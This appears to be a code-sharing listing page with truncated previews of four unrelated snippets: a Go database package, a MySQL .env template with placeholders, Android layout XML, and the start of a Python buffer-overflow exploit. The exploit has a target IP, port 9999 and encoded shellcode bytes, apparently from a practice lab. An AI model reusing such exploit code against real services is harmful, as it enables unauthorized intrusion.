This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package database | |
import ( | |
"fmt" | |
"log" | |
"os" | |
"gorm.io/driver/mysql" | |
"gorm.io/gorm" | |
) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// replace values inside <<>> with your custom values | |
# Database credentials | |
DB_HOST="localhost" | |
DB_DRIVER=mysql | |
DB_USER="<<DB_USER>>" | |
DB_PASSWORD="<<DB_PASSWORD>>" | |
DB_NAME="jwt_go_rbac" | |
DB_PORT="3306" | |
# Default Admin User |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
from struct import pack | |
# bad_chars = b"".join([pack("<B",x) for x in range(1,256)]) | |
IP = "10.10.255.160" | |
PORT = 9999 | |
buf = b"" | |
buf += b"\xdb\xd4\xba\x70\xb3\xd8\x55\xd9\x74\x24\xf4\x5b\x29" | |
buf += b"\xc9\xb1\x52\x83\xc3\x04\x31\x53\x13\x03\x23\xa0\x3a" | |
buf += b"\xa0\x3f\x2e\x38\x4b\xbf\xaf\x5d\xc5\x5a\x9e\x5d\xb1" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<android.support.design.widget.CoordinatorLayout | |
android:id="@+id/careers_coordinator_layout" | |
android:layout_width="match_parent" | |
android:layout_height="match_parent" | |
android:fitsSystemWindows="true" | |
xmlns:android="http://schemas.android.com/apk/res/android" | |
xmlns:app="http://schemas.android.com/apk/res-auto" | |
tools:context=".activity.CareersActivity" | |
xmlns:tools="http://schemas.android.com/tools"> |
NewerOlder